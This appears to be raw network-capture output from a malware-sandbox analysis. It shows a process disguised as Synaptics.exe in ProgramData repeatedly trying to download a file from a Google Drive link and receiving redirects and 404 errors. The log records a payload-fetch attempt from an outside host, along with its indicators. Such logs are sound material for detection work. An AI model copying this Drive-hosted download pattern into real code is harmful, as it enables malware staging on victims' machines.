2024-08-22 11:10:53 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yyo4dy5c2_6FeLYueGbh8A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	49848	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:54 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:54 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:54 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-fEEuZ1AKY4W_UqFdn9xSfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNosDxn56Pt__CjPOmP5umWiOBt8tXKaYotxEonkIqyTLFdVtznUWeIBeZyGIT1d2dDZjo Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:54 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:54 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 62 7a 39 4b 47 73 50 4e 31 4e 31 5a 32 72 6e 36 77 31 6d 62 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="cbz9KGsPN1N1Z2rn6w1mbQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:54 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	49849	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:54 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fsBIPG2IfCffWU1-l8LSmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	49847	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:54 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-gbhWDZ7KDHR0Bg7t9RmXSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	49850	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:54 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:55 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:54 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-943Ac2QhRP-jOA_vA_N2eQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPofT3VYj6xiouPYzCdBgvEEDRK3UWvxGW3yGn4I6dy9NEO5Ok96EKSXeLcc0DBLNdAGIY Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:55 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:55 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 73 58 51 58 4f 79 4c 45 4a 69 4c 6b 30 41 33 50 68 32 79 38 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="BsXQXOyLEJiLk0A3Ph2y8A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:55 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	49853	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:55 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	49851	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:55 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	49852	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:55 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:55 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:55 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-3BqL1pXn9ALONXnON7gpCQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMXVvKaZKzmYxgQ_HYplyKELmeN5HUJ6QwXYsJn7OGsw6USislapKJMsognJQZEScQHWlw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:55 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:55 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 35 4d 4f 49 31 39 73 79 5a 4d 6f 38 70 52 46 39 51 48 46 75 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="x5MOI19syZMo8pRF9QHFuQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:55 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	49856	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:56 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-rdHqOiuw8kxLvhpOQeK4HA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	49855	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:56 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-IIJkTtfZEVRkyYilWRjcMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	49861	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:57 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
